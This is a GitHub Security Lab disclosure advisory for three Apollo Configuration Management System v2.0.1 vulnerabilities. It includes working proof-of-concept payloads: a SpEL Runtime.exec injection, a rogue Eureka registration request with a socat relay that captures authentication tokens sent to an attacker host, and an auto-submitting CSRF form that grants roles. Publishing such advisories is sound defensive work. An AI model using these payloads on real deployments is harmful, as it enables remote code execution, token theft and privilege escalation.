Coordinated Disclosure Timeline

Summary

Apollo Configuration Management System is affected by multiple security vulnerabilities, including Post-Auth Remote Code Execution via SpL evaluation, Improper Authorization in Eureka Service Discovery and Cross Site Request forgery.

Product

Apollo Configuration Management System

Tested Version

v2.0.1

Details

Issue 1: SpEL evaluation (GHSL-2022-121)

The system configuration portal area provides the ability to change some of the server’s settings, such as “apollo.portal.envs”, “api.readTimeout”, etc. These values are stored in the PortalDB and used by the Apollo Config application. Internally, these settings are also merged with Spring Framework properties, which opens quite a large attack surface.

RefreshableConfig.java:

//add property source to environment
for (RefreshablePropertySource propertySource : propertySources) {
    propertySource.refresh();
    environment.getPropertySources().addLast(propertySource);
}

If an attacker obtains access to this page on Portal, they can not only modify the server’s properties, but execute arbitrary code on the server via Spring Expression Language (SpEL) evaluation. In order to do so, the attacker can modify any property that is referenced in the @Value annotation from Spring framework, for example, fat.titan.url:

TitanSettings.java:

@Component
public class TitanSettings {

  @Value("${fat.titan.url:}")
  private String fatTitanUrl;

Next time when the Portal application is restarted, the value of this property will be checked for #{...} syntax and evaluated with the StandardEvaluationContext

Therefore, the following value can be used to to execute arbitrary code on server: fat.titan.url: #{T(java.lang.Runtime).getRuntime().exec('whoami')}

Impact

This issue may lead to Remote Code Execution, although an admin account is required to access the vulnerable page.

Steps to reproduce

  1. Login to Apollo portal and navigate to “Admin tools” -> “System Configuration”.
  2. Set fat.titan.url url property to #{T(java.lang.Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')}.
  3. Restart the application. TitanSettings class will be reloaded by Spring and a new Calculator window will be shown.

Tip: To debug the expression evaluation you can set a breakpoint at org.springframework.expression.spel.standard.SpelExpression#getValue(EvaluationContext) or java.lang.Runtime#exec(String) to see a full call stack.

Note: The development team decided not to fix this issue as it requires admin privileges to access the system configuration page.

Issue 2: Improper Authorization (GHSL-2022-122/CVE-2023-25570)

Admin Service and Config Service support authorization based on tokens. These tokens are stored in the ConfigDB database and checked by the AdminServiceAuthenticationFilter and ClientAuthenticationFilter, protecting them from unauthorized access. At the same time, in the default configuration the Service Registry (Eureka) runs on the same tomcat instance without any authorization checks.

As shown in the image below, Eureka plays a critical role in Apollo Config infrastructure and is responsible for registration of all Config and Admin services.

image

Eureka keeps track of all running Config and Admin services and provides a list of them to Portal and Client applications. When a new Config instance starts, it sends an unauthenticated lease request to Eureka. Eureka does not check whether the new Client application is a legitimate one and just adds it to the list. Essentially, token authentication on the Config and Admin components can be bypassed as Eureka does not authenticate service registration requests.

Impact

If a malicious actor has network access to the Tomcat instance where Config or Admin services are running but does not know a token, they can leak the token by interacting with Eureka API.

Steps to reproduce:

  1. For demo purposes, we can use the default configuration from apolloconfig/apollo-quick-start.
  2. Enable token based authentication by setting the following properties in the database:

    ConfigDB:
    'admin-service.access.control.enabled': 'true'
    'admin-service.access.tokens': 'secret'
       
    PortalDB:
    'admin-service.access.tokens': '{"DEV":"secret"}'
    
  3. After starting Config and Admin services with these settings, unauthenticated requests to them should return 401 (Unauthorized) response status code.
  4. Submit a request to the Eureka to create a new rogue instance of an admin application:

    POST /eureka/apps/APOLLO-ADMINSERVICE HTTP/1.1
    Host: localhost:8080
    Content-Type: application/xml
    Content-Length: 1572
    
    <instance>
        <instanceId>rogueInstance</instanceId>
        <hostName>1.3.3.7</hostName>
        <app>APOLLO-ADMINSERVICE</app>
        <ipAddr>1.3.3.7</ipAddr>
        <status>UP</status>
        <overriddenstatus>UNKNOWN</overriddenstatus>
        <port enabled="true">7082</port>
        <securePort enabled="false">443</securePort>
        <countryId>1</countryId>
        <dataCenterInfo class="com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo">
          <name>MyOwn</name>
        </dataCenterInfo>
        <leaseInfo>
          <renewalIntervalInSecs>30</renewalIntervalInSecs>
          <durationInSecs>90</durationInSecs>
          <registrationTimestamp>1668197940579</registrationTimestamp>
          <lastRenewalTimestamp>1668198291580</lastRenewalTimestamp>
          <evictionTimestamp>0</evictionTimestamp>
          <serviceUpTimestamp>1668197940579</serviceUpTimestamp>
        </leaseInfo>
        <metadata>
          <management.port>8080</management.port>
        </metadata>
        <homePageUrl>http://1.3.3.7:7082/</homePageUrl>
        <statusPageUrl>http://1.3.3.7:7082/info</statusPageUrl>
        <healthCheckUrl>http://1.3.3.7:7082/health</healthCheckUrl>
        <vipAddress>apollo-configservice</vipAddress>
        <secureVipAddress>apollo-configservice</secureVipAddress>
        <isCoordinatingDiscoveryServer>false</isCoordinatingDiscoveryServer>
        <lastUpdatedTimestamp>1668197940579</lastUpdatedTimestamp>
        <lastDirtyTimestamp>1668197939583</lastDirtyTimestamp>
        <actionType>ADDED</actionType>
      </instance>
    

    Where 1.3.3.7 is the IP address of the rogue admin instance.

  5. Whenever a portal or client application makes a request to the admin service, the new requested instance will be used and the authentication token will be sent to 1.3.3.7. In order to sniff this token but keep the application functional, you can use the following socat command:

    socat -v tcp-listen:7082,fork,reuseaddr tcp-connect:1.2.3.4:8090
    

    Where 1.2.3.4:8090 is a legitimate Apollo admin instance. This command redirects and prints all traffic with the leaked token:

    image

Issue 3: Cross-Site Request Forgery (CSRF) (GHSL-2022-123/CVE-2023-25569)

Apollo Portal Service has CSRF protection disabled for all profiles in the AuthConfiguration class: https://github.com/apolloconfig/apollo/blob/28df335eb635926281bc9dc0f0419b5fd3eaada1/apollo-portal/src/main/java/com/ctrip/framework/apollo/portal/spi/configuration/AuthConfiguration.java#L159-L161

@Override
protected void configure(HttpSecurity http) throws Exception {
    http.csrf().disable();
    http.headers().frameOptions().sameOrigin();

It does not make the majority of controllers insecure, as those who mutate data on server require sending a POST request with application/json body content type. Modern browsers cannot send subdomain requests with JSON content type without CORS support, which is good. At the same time, there are some POST controllers that don’t require any body, or require a multipart/form-data file in the body. For example, PermissionController#addManageAppMasterRoleToUser only relies on path variables to perform role assignment:

@PreAuthorize(value = "@permissionValidator.isSuperAdmin()")
@PostMapping("/apps/{appId}/system/master/{userId}")
public ResponseEntity<Void> addManageAppMasterRoleToUser(@PathVariable String appId, @PathVariable String userId) {
    checkUserExists(userId);
    roleInitializationService.initManageAppMasterRole(appId, userInfoHolder.getUser().getUserId());

The absence of body content checks makes this controller vulnerable to CSRF attacks.

Impact

A low privileged user can create a special web page. If an authenticated Portal admin visits this page, the page can silently send a request to assign new roles for that user without any confirmations from the Portal admin.

Steps to reproduce

  1. Place the following html code on an external website:

    <html>
      <form id=myform action="http://portal:8090/apps/SampleApp/system/master/hacker" method="POST">
        <input type="submit" value="Submit request" />
      </form>
      <script>myform.submit()</script>
    </html>
    
  2. When an administrator authenticated on a Portal application visits this page, it sends a request to grant permissions for the “SampleApp” to the “hacker” user with all required cookies.

Note: as of November 2022, this kind of attack does not work in Chrome as it sets SameSite=Lax by default. At the same time, the attack still works in latest Firefox or Safari browsers, and therefore requires remediation.

CVE

Credit

These issues were discovered and reported by GHSL team member @artsploit (Michael Stepankin).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2022-121, GHSL-2022-122, or GHSL-2022-123 in any communication regarding these issues.